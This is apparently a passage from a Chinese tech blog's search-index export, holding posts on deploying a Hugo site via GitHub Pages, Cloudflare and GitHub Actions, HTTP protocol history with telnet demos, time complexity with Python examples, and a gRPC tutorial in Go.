複製到站點目錄下，同時刪除此目錄下的 config.toml 文件。\n將 exampleSite/content/* 複製到站點目錄下的 content/\n剩餘主題的設定與文章內容，可依個人需求自行設定，本篇不再贅述。\ngithub 創建一個 public 的 repo，用於存放發布用的 public 資料夾。 前往 repo 的 Settings -\u0026gt; Pages 設定好欲發布的分支與 root path 設定完畢後，github 會分配給你一個公開的網址：https://{your-account}.github.io/{your-repo-name}/，若不需自定義網址與 CI/CD 流程，到此步驟即可完畢。\n設定自定義網址 註冊一個網址 本文使用 freenom 註冊一組免費的網址 註冊完畢後，前往 Manage Domain 選擇 Management Tools -\u0026gt; NameServers 後，此頁面先暫時放置著，待會再回來繼續設定 前往 Cloudflare 後台 登入 Cloudflare 後台，並選擇 網站 DNS 設定如圖： 將註冊的 domain 設定指向到 github server ip 185.199.108.153 185.199.109.153 185.199.110.153 185.199.111.153 設定 CNAME www 指向到剛剛 github 分配給你的 domain (path不需要)： https://{your-account}.github.io/ 將下方兩個 Cloudflare 名稱伺服器複製下來 選擇 Use custom nameservers (enter below) 將剛剛從 Cloudflare 複製的兩個 NameServer，貼到 NameServer 1、NameServer 2 Cloudflare 後台設定強制使用 SSL 點選 SSL/TLS 的 邊緣憑證 打開 一律使用HTTPS 回到 github pages，將網址填寫至 Custom domain，短暫驗證完畢後，即可點選 Save 送出設定 自定義網址已設定完畢，可使用網址打開網站。\n設定 github actions 做 CI/CD 準備材料1：生成 github personal access tokens 前往 github 的個人設定 \u0026quot;Settings\u0026quot;，下方點選 Developer settings\n點選 Generate new token\n設定備註、過期時間、權限後即可生成 token\n建議過期時間可以設定 No expiration (無過期時間)、權限設定 repo 全部勾選 生成後，token 請複製起來，因為關閉此頁面後，將無法再取得該 token 的明碼。\n準備材料2：登入 Cloudflare 後台，取得 區域識別碼(Zone) 登入 Cloudflare，選擇自己的 domain 點選 概觀，並於圖中標示處取得 區域識別碼(Zone Id) 準備材料3：取得 Global API Key 於 概觀 下方點選 取得您的 API Token 點選 檢視，輸入密碼後取得 Global API Key 準備材料4：生成 API token 點選 建立 Token -\u0026gt; 建立自訂 Token 設定 token 名稱、權限、TTL PS：權限必須至少擁有 區域 -\u0026gt; 快取清除 -\u0026gt; 清除，以便 CI/CD 後使用 token 清除 DNS cache 設定完畢後即可建立 token 建立後，也請將 token 複製起來，因為關閉此頁面後，將無法再取得該 token 的明碼。 材料準備完畢，開始設定 secret 進入 source code 的 repo，點選 Settings -\u0026gt; Secret -\u0026gt; Actions，並將剛剛的四個準備材料設定到 Actions secrets 中 此處 Actions secrets 的名稱如需修改，則待會的 github-actions.yml 內的名稱也需跟著修改，否則會抓不到 secrets 中設定的值哦!\n於 source code repo 根目錄新增 .github/workflows/github-actions.yml github-actions.yml 內容 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 name: Auto build and publish to public site repository # 只有推送到 main 才觸發 on: push: branches: - \u0026#34;main\u0026#34; pull_request: branches: [\u0026#34;main\u0026#34;] jobs: hugo-publish: name: publish content to public site runs-on: ubuntu-latest steps: # 使用當前 source code 的 repo - name: checkout source code repo uses: actions/checkout@v3 with: # 因為目前的 repo 有使用到 submodule(hugo themes)，所以 submodule 也要一併同步，不然原本的 repo 是沒有 submodule 的內容 submodules: true token: ${{ secrets.ACCESS_TOKEN }} # public 網站是放置在另一個 repo 所以這裡也要 clone 一份下來處理 # 因為我 Hugo 預設是產生檔案到 public 資料夾，所以將 public repo clone 到 ./public/ 內，以便後續 publish - name: clone and checkout public repo uses: actions/checkout@v3 with: # 這裡是 public 網站在 github 上的 repo 名稱 repository: {template/template-public-repo-name} path: public # tip: 需事先產生一把 personal access token 放到 repo 的 secrets 裡 # 然後 secrets 裡的名稱就叫 ACCESS_TOKEN # 參考 https://help.github.com/en/actions/automating-your-workflow-with-github-actions/authenticating-with-the-github_token token: ${{ secrets.ACCESS_TOKEN }} # 使用別人做好的 Hugo Actions - name: setup hugo uses: peaceiris/actions-hugo@v2 with: hugo-version: latest extended: true # 用 Hugo 產生檔案 - name: build content to public site working-directory: ./ # --cleanDestinationDir 清除舊檔案 run: hugo --minify --gc --cleanDestinationDir # 將檔案 commit 到 網站 public repo - name: deploy and publish updates working-directory: ./public # user.email 還有 user.name 可以取自己喜歡的，一定要設定不然會出錯 run: | # 當 git 有更動時才進行動作 if [[ `git status --porcelain` ]]; then git config --local user.email \u0026#34;{typing your email}\u0026#34; git config --local user.name \u0026#34;{typing your name}\u0026#34; git add . -A git commit -m \u0026#34;build: auto publish\u0026#34; git push origin else echo \u0026#34;content no changes\u0026#34; fi # 清除 cloudflare dns cache - name: clear cloudflare cache uses: nathanvaughn/actions-cloudflare-purge@master with: # Using Zone Id cf_zone: ${{ secrets.CLOUDFLARE_ZONE }} # Using API Token cf_auth: ${{ secrets.CLOUDFLARE_API_TOKEN }} 內容 {} 內的資訊請更換成自己的資訊\n附上 yaml 範例，詳細 github-actions.yaml 文件請查閱 github 官方文件\n建立檔案後，將 commit push 後，即可於 source code repo 的 Actions 頁面查看 CI/CD 的過程。 ","date":"2022-08-01T00:00:00Z","image":"https://live.staticflickr.com/65535/52274839367_8325e83fea_o.jpg","permalink":"https://blog.wayne-project.com/2022-08-01/hugo-github-pages-actions-and-cloudflare/","title":"架設部落格之一條龍免費寶典：Hugo 生成靜態網站、Pages 發布網站、設定 custom domain(free 12 months)、Actions 做 CI/CD"},{"content":" 參考網站 - 初學者都該學會的 HTTP 通訊協定基礎\n參考網站 - Http/2 是什麼?\n目前 HTTP 通訊協定的版本 HTTP/0.9 於 1991 年發表(已廢止) HTTP/1.0 於 1996 年 5 月發表(RFC 1945) HTTP/1.1 於 1997 年 1 月發表(RFC 2068) 於 1999 年 6 月發布 HTTP/1.1 更新版(RFC 2616) 於 2014 年 6 月再次更新 HTTP/1.1 並將規格文件拆成六份 HTTP/2(Wikipedia) 於 2015 年 5 月發布(RFC 7540)(瀏覽器相容性) 僅針對 HTTP/1.1 的 Message Syntax 部分作出強化 HTTP/0.9 (已廢止) 概要 於 1990 年由 Tim Berners-Lee 提出最初的 HTTP 建議(WWW)\n實作重點\n用戶端要求是以 ASCII 字元為主(單行命令即可發出請求 GET/) 用戶端要求會以一個 換行字元 (CRLF) 來結束 伺服器回應是以 ASCII 字元為主，回應內容是 HTML 文件 每次執行完 Request / Response 就會自動關閉連線 主要特色\nClient / Server 架構、Request / Response 協定 跑在 TCP/IP 上的 ASCII 協定 (要求/回應) 被設計用來傳輸 HTML 文件 每完成一次 ASCII 協定就會自動關閉連線 使用 bash 測試 1 2 3 4 5 6 7 8 # 建立連線到 google $ telnet google.com 80 \u0026gt; Connected to google.com. \u0026gt; Escape character is \u0026#39;^]\u0026#39;. # 發送 GET 請求 $ GET /about \u0026gt; ... HTTP/1.0 概要 在 1991 到 1995 年之間，所謂 瀏覽器 騰空出世！\n於 1996 年 5 月發表 HTTP/1.0 版 (RFC 1945)\n與 HTTP/0.9 不同的部分\n用戶端要求是以 ASCII 字元為主，但可發送多行命令(含要求標頭) 先送出要求方法，再送出要求標頭，最後以一個額外的換行字元結束 伺服器回應是以 ASCII 字元為主，回應內容會區分為 狀態列 回應標頭 回應內文主體(不僅僅是 HTML 文件，可以是更多內容類型) 每完成一次 Request / Response 交握就會自動關閉 TCP/IP 連線 使用 bash 測試 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 # 建立連線到 google $ telnet google.com 80 \u0026gt; Trying 172.217.24.14... \u0026gt; Connected to google.com. \u0026gt; Escape character is \u0026#39;^]\u0026#39;. # 發送 GET 請求 $ GET /about HTTP/1.0 Host: www.google.com # 因一個 domain 可以 hosting 多個網站，因此通常都會於 request header 再標記 Host \u0026gt; HTTP/1.0 301 Moved Permanently \u0026gt; ... # 取得後，會自動中斷 TCP 連線 # 若需再發送請求，需重新建立 TCP 連線 $ telnet google.com 80 ... HTTP/1.1 概要 於 1997 年 1 月發表 HTTP/1.1 版 (RFC 1945)\n於 1999 年 6 月發布 HTTP/1.1 更新版 (RFC 2616)\n與 HTTP/1.0 不同的部分\n傳輸協議的效能改進(新增不少 HTTP 標頭定義) 持續連線狀態(persistent connection) 切塊編碼傳輸(chunked encoding transfer) 位元範圍請求(byte range request) 額外快取機制(cache control) 請求管線作業(request pipelining)(需搭配持續連線狀態特性才能用) 使用 bash 測試 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 # 建立連線到 google $ telnet google.com 80 \u0026gt; Trying 172.217.24.14... \u0026gt; Connected to google.com. \u0026gt; Escape character is \u0026#39;^]\u0026#39;. # 發送 GET 請求 $ GET /about HTTP/1.1 Host: www.google.com # 因一個 domain 可以 hosting 多個網站，因此通常都會於 request header 再標記 Host \u0026gt; HTTP/1.0 301 Moved Permanently \u0026gt; ... # 取得後，不會自動中斷 TCP 連線，可再發送請求 $ GET /abc HTTP/1.1 Host: www.google.com # 因一個 domain 可以 hosting 多個網站，因此通常都會於 request header 再標記 Host \u0026gt; HTTP/1.1 404 Page Not Found \u0026gt; ... 目前 HTTP/1.1 的六大規格 RFC 7230 HTTP/1.1：Message Syntax and Routing RFC 7231 HTTP/1.1：Semantics and Content(最重要) RFC 7232 HTTP/1.1：Conditional Requests RFC 7233 HTTP/1.1：Range Requests RFC 7234 HTTP/1.1：Caching RFC 7235 HTTP/1.1：Authentication 關於 HTTP 通訊協定的基本常識 無狀態特性(stateless)：相同的 request，都會得到相同的 response，不會因為狀態不同而改變 分散式架構(distributed)：相同的 request，不同載體發送，都會得到相同的 response 協作的架構(collaborative)：不一定只有 client / server，也可以是 client / proxy / reverse proxy / server 超文本(hypertext = not just \u0026ldquo;text) but with \u0026ldquo;links\u0026rdquo;)：除了內容，還包含連結 初學者應了解 HTTP 的基本運作方式 如何發出 HTTP 要求(HTTP Request)\n要求方法(Request Methods) GET、POST、PUT、DELETE、PATCH、\u0026hellip; 要求標頭(Request Headers) Connection、COntent-Type、\u0026hellip; 斷行符號(CRLF) 要求內容主體(Request Body) 如何回應 HTTP 訊息(HTTP Response)\n回應狀態碼(Response Status Codes) HTTP/1.1 200 OK 回應標頭(Response Headers) 斷行符號(CRLF) 回應內容主題(Response Body) HTTP/2 HTTP/2 各個瀏覽器的支援度 點我查看瀏覽器支援度\nEdge / Firefox / Chrome / Opera 皆在 2015 年起就支援 HTTP/2，基本上不需要太擔心主流瀏覽器的支援性問題。\nPS：如何在 Node.js 中使用 HTTP/2\nHTTP/2 改善了什麼？ http/2標準發布於2015年5月，其主要目的是透過一些措施改善瀏覽器瀏覽網頁 加載的速度(page load) 。目前大多數的瀏覽器已支援 http/2 (chrome, firefox, safari等)標準，又 http/2與 http/1.1有著高度的相容信，舉凡request method(post, get..etc), http status code, url, header 等等，因此對於web developer來說，只需要確保你的網站有支援https(因為瀏覽器只支援https 在http/2上)。那麼http/1.1與http/2到底相差多快呢，點我體驗!\nHTTP/2 是如何改善？ 只需要單一網路連線 (Single TCP connection) 只需要單一網路連線，就可以連接網站伺服器，下載所有需要的資源。大大節省 HTTP/1.1 需要一直建立多個網路連線時的啟動時間浪費。\nRequest and response multiplexing (多路複用) 在 http/1.1 中，client 端時常會同時發起多個 request 至 server 拿取檔案(像是js, css, image等)，以此方式達到快速載入頁面。如下圖在 http/1.1 中會同時與 server 建立3個 TCP connection，但是瀏覽器通常會限制 TCP connection 同時建立的數目。因此在 http/2 協定中，允許 client 端與同一 server 建立單一 TCP connection 並以非同步方式傳輸要的檔案。\n優先權設計 (Prioritization) 伺服器可以決定例如 CSS 或 JavaScript 檔案，哪些要優先傳送。\nHeader compression (標頭壓縮) 每一個 http 的傳輸中都會攜帶一組 header，在 http/1.1 中，header 會是以明文(plain text)傳輸大小通常會是500-800 bytes，若有攜帶 cookie 也有可能會更大。因此在 http/2 中，會將 request 以及 response 的 header 使用 HPACK 演算法壓縮 header 的內容，此方法壓縮後可以減少 85%-88% 的大小。\nServer push (伺服器推送) 在 http/1.1 中，通常 client 端 request 甚麼 server 就會回傳甚麼，例如: 當 client request html 那麼 server 將只會回傳 html。但在 http/2 中，允許 server 主動推送有相關的資料給 client，例如: 當 client 只 request html，但是 server 知道 client request 此 html 後續也會 request css, js 等，因此 server 就會在 client 沒有 request 的情況下主動推送 css, js 檔給 client。那 server 怎麼知道這些檔案是有相關性的呢? web developer 將需要 server push 的檔案加上特定的描述即可。(描述)\n不過，這個功能比較有爭議，一來他需要 Web 開發者額外描述有哪些檔案需要隨著 HTML 一起推送給瀏覽器，不是 Web 伺服器升級 HTTP/2 就自動會有。二來它不管瀏覽器是不是已經有快取這個資源，都會推送而造成頻寬浪費。因此實務上筆者認為可以改用瀏覽器的 Prefetch 功能，讓客戶端的瀏覽器自己處理即可。\nBinary framing layer (二進制影格層) 在 http/2 中，header 與 body 所挾帶的 property 與 http/1.1 相同(ex. verbs, methods)，然而兩者在傳輸上會有不同。在 http/2 中，會將 header 以及 body 編碼成二進制在 server 與 client 端中傳輸，在 http/1.1 中，則是以明文的方式傳輸。將訊息編碼成二進制進行傳輸，此特性是 http/2 的其他特性的根本基礎。\n冷知識：在 HTTP/1.1 定義了四種解析訊息的方式，在 HTTP/2 只需要一種。\n總結 根據 w3Techs 網站，目前使用http/2的網站有45.7%，未來確實會變成主流，身為軟體工程師，還是多少理解來的好。此篇文章僅記錄筆者蒐集資料彙整結果，若有任何錯誤資訊還請直接點出，萬分感謝。\n","date":"2022-07-24T00:00:00Z","image":"https://live.staticflickr.com/65535/52276290470_787c77a1b5_o.jpg","permalink":"https://blog.wayne-project.com/2022-07-24/beginner-http-lesson/","title":"初學者都該了解的 HTTP 通訊協定基礎"},{"content":" 參考網站 - 初學者學演算法｜從時間複雜度認識常見演算法\n溫故知新 演算法的簡單定義：輸入 + 演算法 = 輸出 時間複雜度：衡量演算法執行好壞的工具 大 O 符號：用來描述演算法在輸入 n 個東西時，所需時間與 n 的關係 在 n 非常大時，好的演算法設計可以省下非常多時間 演算法的速度不是以秒計算，而是以步驟次數 實務上，我們只會紀錄最高次方的那一項，並忽略其所有的係數 目錄：常見的六種時間複雜度與演算法 O(1)：陣列讀取 O(n)：簡易搜尋 O(log n)：二分搜尋 O(nlogn)：合併排序 O(n²)：選擇排序 O(2^n)：費波那契數列 O(1)：陣列讀取 說明 時間複雜度為 O(1) 的演算法，代表著不管你輸入多少個東西，程式都會在同一個時間跑完。在程式設計中，最簡單的例子就是讀取一個陣列中特定索引值的元素(程式麻瓜先別急著吐血，且讓我們在下面慢慢說明)。\n陣列讀取 陣列是程式中儲存東西的一種容器，我們可以想像成一排已經編號好的櫃子。每一個櫃子上的編號我們稱為「索引值」（Index，在程式中這個編號通常從 0 開始），而櫃子裡的物品我們稱為「元素」。例如：假設神奇寶貝大師小明在一個名叫 Pokemons 的陣列裡依序放入他的神奇寶貝們，我們來複習一下陣列、元素、索引值的關係：\n在程式碼中我們把七隻神奇寶貝這樣表達：\n1 Pokemons = [\u0026#34;卡丘\u0026#34;,\u0026#34;胖丁\u0026#34;,\u0026#34;尼龜\u0026#34;,\u0026#34;比獸\u0026#34;,\u0026#34;呆獸\u0026#34;,\u0026#34;種子\u0026#34;,\u0026#34;小剛\u0026#34;] 這時，假設我們想要知道在這個 Pokemons 陣列中任一個編號所對應到的神奇寶貝，我們都只需要把這個編號對應的元素印出來，就能知道對應的神奇寶貝是誰了。如果我想知道這個陣列中的第 n 號櫃的神奇寶貝是誰（以下假設我們想知道 n= 0），在程式碼中我們可以這樣表達：\n1 2 3 4 n = 0 print(Pokemons[n]) \u0026gt;\u0026gt; \u0026#34;卡丘\u0026#34; 陣列讀取時，因為我們已經知道櫃子的索引值，不管放入的 n 等於多少，程式都可以在 “一個步驟” 就到達 n 所對應到編號的櫃子並取出該元素，像這樣的案例，我們就會說陣列讀取演算法的時間複雜度為 O(1)。\nO(n)：簡易搜尋 說明 時間複雜度為 O(n) 的演算法，代表著執行步驟會跟著輸入 n 等比例的增加。例如當 n = 8，程式就會在 8 個步驟完成。最簡單的例子，就是所謂的簡易搜尋。\n這邊要特別提醒一點，通常程式步驟的時間複雜度會是用程式執行會碰到的最壞狀況 (Worst Case) 來表示，詳細例子我們可以在下面看到。\n簡易搜尋 讓我們沿用上一段的 Pokemons 陣列作為例子。Pokemons 這一排櫃子裡有八隻神奇寶貝，假設每個櫃子的門都被關上，我們事前也不知道各個神奇寶貝的位置，這時如果想要知道「呆獸」神奇寶貝在哪裡時，我們第一個想到的方法會是什麼呢？\n最直觀地想，我們會從第一個櫃子開始試，一次開一個櫃子，直到找到「呆獸」為止。像這樣的搜尋方法，就是最經典簡單的「簡易搜尋」。\n在程式碼中，簡易搜尋的方法可以這樣表達：\n1 2 3 4 5 6 7 Pokemons = [\u0026#34;卡丘\u0026#34;,\u0026#34;胖丁\u0026#34;,\u0026#34;尼龜\u0026#34;,\u0026#34;比獸\u0026#34;,\u0026#34;呆獸\u0026#34;,\u0026#34;種子\u0026#34;,\u0026#34;小剛\u0026#34;] for Pokemon in Pokemons: if Pokemon == \u0026#34;呆獸\u0026#34;: print(\u0026#34;找到呆獸！\u0026#34;) break else: print(\u0026#34;這個櫃子裡不是呆獸\u0026#34;) 觀察上面的程式碼時，我們可以發現，如果呆獸在第 0 號櫃，我們一個步驟就會找到它，但如果他是在第 6 號櫃，我們要花七個步驟才能找到他。\n還記得我們在上面提過的小小提醒嗎？我們通常會用程式執行會碰到的「最壞狀況」來決定複雜度的表示，也因此，當我們要從 n 個櫃子中找到一隻特定的神奇寶貝，我們最慘最慘的情況需要花剛好 n 個步驟才能找到（想像要找的神奇寶貝在最後一個櫃子的情況）。像這樣的案例，我們就會說簡易搜尋演算法的時間複雜度為 O(n)。\nO(log n)：二分搜尋法 說明 時間複雜度為 O(log n) 的演算法（這邊的 log 都是以二為底），代表當輸入的數量是 n 時，執行的步驟數會是 log n。（讓忘記 log 是什麼的同學們複習一下，當 log n = x 的意思是 n = 2^x，如果這部分的腦細胞尚未復活，且讓我們先記住 n = 2^x，再來看看例子）。\n舉例來說，當 n = 4，程式會在 2 個步驟完成（4 = 2²）；n = 16 時，程式會在 4 個步驟完成（16 = 2⁴），以此類推。\n在程式中，O(log n) 的最常見例子是二分搜尋法。\n二分搜尋法 假設我們在一本字典中想要找到一個單字，這個字以 W 開頭，我們可以用前面提過「簡易搜尋」的邏輯，從第一頁的 A 開始找起，一個一個找到天荒地老海枯石爛。也可以用更珍惜生命的方式，直接翻到字典的後面，找到以 W 開頭的第一個字後再開始往後找。\n同樣的邏輯，假設有一長串有小到大排序好的數字們，我要在其中找特定一個數字，我們一樣可以從第一個往後一個一個檢查。但假設我們想要更珍惜生命，聰明的讀者可能已經想到了我們在「終極密碼」這種遊戲中會使用的策略，也就是每次都先檢查最中間的數字，如果中間的數字比我們要找的數字大，我們要找的數量就只剩原本的一半（因為在後段的數字顯然都會比我們要找的數字大），這樣的方法，就稱作二分搜尋法。\n舉一個實際的例子，假設今天有一排編號好的櫃子，裡面擺著八個由小到大排序好的數字。假設我們知道裡面的數字包含 55，但我們不知道在哪一個編號櫃子中。讓我們來比較簡易搜尋（從第一格往後一個一個檢查）跟二分搜尋法有什麼差別。\n從上面的圖可以看到，一般的搜尋方法需要花五個步驟才能找到 55。\n而在二分搜尋法中，我們先打開最中間的櫃子，發現裡面的數字是 41。因為 55 比 41 大，因此我們知道從一號櫃到三號櫃都不會有 55，接下來只需要檢查五號櫃到七號櫃。\n同樣的邏輯，我們打開剩下三個可能性中最中間的櫃子，發現六號櫃裡面的數字是 61，因為 61 比 55 大，我們可以知道七號櫃的數字一定也比 55 大，得知 55 一定就在五號櫃之中。\n接下來，要再次來關心兩個搜尋方法的時間複雜度。簡易搜尋的情況中，我們可以輕鬆地知道最壞的情況就是剛好七個步驟（要找的數字是 80 ）。而二分搜尋法，我們可以先練習去計算各種情況需要的步驟，而最終的答案如下表：\n從上表我們可以發現，二分搜尋法最慘最慘，也只需要三個步驟。\n推廣到有 n 個櫃子時，我們可以發現：二分搜尋法在每進行一個步驟時，就可以排除掉一半的可能性。每次都能減少一半，因此二分搜尋法最糟最糟也只需要以 2 為底的 log n 個步驟就能完成。\n二分搜尋法在程式碼中的例子，對於程式新手可能需要花比較多的理解。如果你是對程式有一定理解的人，可以嘗試動手實做看看。而如果下方的程式碼對於讀者還有些吃力的話，也可以先多多熟悉語法後回來複習即可。\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 Numbers = [5,17,33,41,55,61,80] Find = 55 ​ low = 0 high = len(Numbers) - 1 ​ while low \u0026lt;= high: mid = (low + high) // 2 if Numbers[mid] \u0026gt; Find: high = mid - 1 elif Numbers[mid] \u0026lt; Find: low = mid + 1 else: break ​ print(mid) 小結 在這篇文章中，我們分別了解了 O(1)、O(n)、O(logn) 的時間複雜度，以及對應到的三個常見演算法。而在接下來的文章中，我們會開始認識新朋友，在演算法中佔有重要地位的「排序法」，以及在更進階的例子。\n","date":"2022-07-23T00:00:00Z","image":"https://live.staticflickr.com/65535/52276285230_7f886f0bca_o.jpg","permalink":"https://blog.wayne-project.com/2022-07-23/common-time-complexity/","title":"初學者學演算法｜從時間複雜度認識常見演算法"},{"content":" 剛剛用日常上班前挑衣服的例子和沒學過程式的 00 說明時間複雜度的概念很好理解耶～！\n例子是這樣的\u0026hellip;\n一早要出門的時候，想要從衣櫃中找出紅色的上衣。\n其中一種方式是像左圖一樣，這是掏寶上很熱門的「疊衣服褲子收納神器」，雖然看起來整理的很乾淨，但如果你要從中找到紅色的衣服，你就得要由上而下一件一件找，最糟的情況就是一直翻到最下面才能找到你要的紅色衣服。\n另一種方式是像右圖一樣，把衣服用立起來的方式，一眼就可以看到紅色的衣服在哪，直接拿出來，幾乎不用找。\n左圖的那種方式，時間複雜的就是 O(n)，n 就是衣服的件數，雖然紅色的衣服有可能就放在最上面，一眼就可以看到，但在探討時間複雜度的時候都要考慮最差的情況，所以如果你有 n 件衣服，最差的情況就是要把 n 件衣服都翻過才會找到紅色那件。\n右圖的方式它的時間複雜度是 O(1)，在你沒有忘記其實衣服已經被丟到洗衣籃的前提下，你看一眼，翻都不用翻就可以把紅衣服直接取出（請先忽略掉人腦內建的視覺搜尋系統，那是另一個有趣的故事 XD）。這種不用一個一個找，就直接取出的，時間複雜度就是 O(1)。\n有了這個時間複雜度的概念後，是不是覺得左邊的那個商品實用性沒這麼高啦～ XDD\n真的是沒想到學演算法還可以用在購物吧！\n","date":"2022-07-23T00:00:00Z","image":"https://live.staticflickr.com/65535/52276282210_c2a38fae3c_o.jpg","permalink":"https://blog.wayne-project.com/2022-07-23/learn-time-complexity-by-clothes/","title":"從找衣服了解時間複雜度"},{"content":" 參考網站 - gRPC 說明影片 @ BESG\nSOURCE CODE\n對應的程式碼可檢視 besg-grpc 的 repository。\ngRPC 是什麼：以 Golang 說明與實作 說明 RPC 的全名是 remote procedure call，主要是作為電腦和電腦間溝通使用。A 電腦可以呼叫 B 電腦執行某些程式，B 電腦會將結果回傳給 A 電腦，A 電腦在收到回應後會再繼續處理其他任務。RPC 的好處在於，雖然 A 電腦是發送請求去請 B 電腦做事，但其呼叫的方式，就很像是 A 電腦直接在呼叫自己內部的函式一般。\ngRPC 也是基於這樣的概念，讓想要呼叫 server 處理請求的 client，在使用這支 API 時就好像是呼叫自己內部的函式一樣簡單自然。從功能面來說，gRPC 就像 Web 常用的 Restful API 一樣，都是在處理請求和回應，並且進行資料交換，但 gRPC 還多了其他的功能和特色。\ngRPC 是由 Google 開發的開源框架，它快速有效、奠基在 HTTP/2 上提供低延遲（low latency），支援串流，更容易做到權限驗證（authentication）。在下面的文章中，將會對於 gRPC 能提供的特色有更多說明。\nProtocol Buffers 是什麼 Protocol Buffers @ Google Developer Protocol Buffers 筆記 @ pjchender.dev 在學習 gRPC 時，需要同時了解什麼是 Protocol Buffers。在傳統的 Restful API 中，最常使用的資料交換格式通常是 JSON；但到了 gRPC 中，資料交換的格式則是使用名為 Protocol Buffers 的規範／語言。\njson 1 2 3 4 5 { \u0026#34;firstName\u0026#34;: \u0026#34;Sushiro\u0026#34;, \u0026#34;lastName\u0026#34;: \u0026#34;Global\u0026#34;, \u0026#34;age\u0026#34;: 6 } protocol buffers 1 2 3 4 5 6 // Protocol Buffers message User { string first_name = 1; string last_name = 2; int32 age = 3; } 也就是說，當我們想要使用 gRPC 的服務來交換資料前，必須先把資料「格式」和「方法」都定義清楚。\nTIP:\n使用 gRPC 前，不只需要先把資料交換的格式定義清楚，同時也需要把資料交換的方法定義清楚。\n這裡要稍微釐清一點很重要的是，Protocol Buffers 可以獨立使用，不一定要搭配 gRPC；但使用 gRPC 一定要搭配 Protocol Buffers。\n實作將 Protocol Buffers 編譯成在 Golang 中可使用的檔案 對應的程式碼可檢視 besg-grpc repository 中的 proto 資料夾。\nSTEP 1：撰寫 Protocol Buffers 檔案 使用 message 定義資料交換的格式。 使用 service 定義呼叫 API 的方法名稱。 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 syntax = \u0026#34;proto3\u0026#34;; // 定義要使用的 protocol buffer 版本 package calculator; // for name space option go_package = \u0026#34;proto/calculator\u0026#34;; // generated code 的 full Go import path message CalculatorRequest { int64 a = 1; int64 b = 2; } message CalculatorResponse { int64 result = 1; } service CalculatorService { rpc Sum(CalculatorRequest) returns (CalculatorResponse) {}; } STEP 2：安裝編譯 Protocol Buffer 所需的套件 此部份可參考 編譯 Protocol Buffers（Compiling） 段落。\n安裝 compiler (macOS) 1 2 3 4 5 6 7 8 9 10 11 # 安裝 compiler，安裝完後就會有 protoc CLI 工具 brew install protobuf protoc --version # Ensure compiler version is 3+ # --- 使用 golang 才需要安裝以下兩個套件 --- # 安裝 protoc-gen-go 後可以將 proto buffer 編譯成 Golang 可使用的檔案 go get github.com/golang/protobuf/protoc-gen-go # 安裝 grpc-go 後，可以在 Golang 中使用 gRPC go get -u google.golang.org/grpc STEP 3：編譯 Protocol Buffer 檔案 進到放有 .proto 檔的資料夾後，在終端機輸入下述指令：\n1 protoc *.proto --go_out=plugins=grpc:. --go_opt=paths=source_relative 在成功編譯好後，應該會看到同樣的資料夾位置出現 *.pb.go 的檔案，這就是編譯好後可以在 Golang 中使用 Protocol Buffer 和 gRPC 的檔案。\n實作 gRPC Server 對應的程式碼可檢視 besg-grpc repository 中的 server 資料夾。\nSTEP 1：建立 gRPC server 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 type Server struct {} func main() { fmt.Println(\u0026#34;starting gRPC server...\u0026#34;) lis, err := net.Listen(\u0026#34;tcp\u0026#34;, \u0026#34;localhost:50051\u0026#34;) if err != nil { log.Fatalf(\u0026#34;failed to listen: %v \\n\u0026#34;, err) } grpcServer := grpc.NewServer() calculatorPB.RegisterCalculatorServiceServer(grpcServer, \u0026amp;Server{}) if err := grpcServer.Serve(lis); err != nil { log.Fatalf(\u0026#34;failed to serve: %v \\n\u0026#34;, err) } } STEP 2：實作 Protocol Buffer 中的 service 1 2 3 4 5 6 7 8 9 10 11 12 func (*Server) Sum(ctx context.Context, req *calculatorPB.CalculatorRequest) (*calculatorPB.CalculatorResponse, error) { fmt.Printf(\u0026#34;Sum function is invoked with %v \\n\u0026#34;, req) a := req.GetA() b := req.GetB() res := \u0026amp;calculatorPB.CalculatorResponse{ Result: a + b, } return res, nil } STEP 3：啟動 server 在終端機中輸入：\n1 go run server/server.go 即可啟動 gRPC server。\n補充：使用 Bloom RPC 進行測試 在只有 server 的情況下，可以使用 BloomRPC 這套工具來模擬 Client 對 gRPC server 發送請求，功能就類似在 Restful 中使用的 Postman。\n使用時只需要匯入 proto 檔後，即可看到對應可呼叫的方法和可帶入的參數，能這麼方便也是因為在 protocol buffer 中已經把傳輸的資料格式和能對應呼叫的方法都定好的緣故。\n實作 gRPC Client 完整程式碼可檢視 besg-grpc repository 中的 client 資料夾。\nSTEP 1：與 gRPC server 建立連線 1 2 3 4 5 6 7 8 9 10 11 12 func main() { conn, err := grpc.Dial(\u0026#34;localhost:50051\u0026#34;, grpc.WithInsecure()) if err != nil { log.Fatalf(\u0026#34;failed to dial: %v\u0026#34;, err) } defer conn.Close() client := calculatorPB.NewCalculatorServiceClient(conn) doUnary(client) } STEP 2：使用 Protocol Buffers 中定義好的 Service 1 2 3 4 5 6 7 8 9 10 11 12 13 14 func doUnary(client calculatorPB.CalculatorServiceClient) { fmt.Println(\u0026#34;Staring to do a Unary RPC\u0026#34;) req := \u0026amp;calculatorPB.CalculatorRequest{ A: 3, B: 10, } res, err := client.Sum(context.Background(), req) if err != nil { log.Fatalf(\u0026#34;error while calling CalculatorService: %v \\n\u0026#34;, err) } log.Printf(\u0026#34;Response from CalculatorService: %v\u0026#34;, res.Result) } STEP 3：向 server 發送請求 在終端機中輸入：\n1 go run client/client.go 即可執行 client.go 並向剛剛起動好的 server 發送請求。\ngRPC 解決了什麼 gRPC 和 REST API 的比較 比較 gRPC 服務與 HTTP API @ microsoft docs\n簡單來說，gRPC 在效能上比起 REST API 好非常多：\n項目 gRPC Restful API 資料傳輸格式（Payload） Protocol Buffer - 更快且更小 JSON, XML, formData - 較慢且較大 通訊協定 HTTP/2 HTTP 傳輸方式 支援一般的「請求-回應」、伺服器端串流、Client 端串流、與雙向串流（streaming） 僅能透過 Client 發送請求、Server 給予回應 API 方法命名 沒有限制，一般會直接描述該方法要做的事，例如 createUser, getUser。不需要思考路由命名。 使用動詞（GET, POST, PUT, PATCH, DELETE）搭配資源來命名。需要根據不同的行為來定義不同的路由。 Client 呼叫 API 的方式 就像呼叫一般的函式 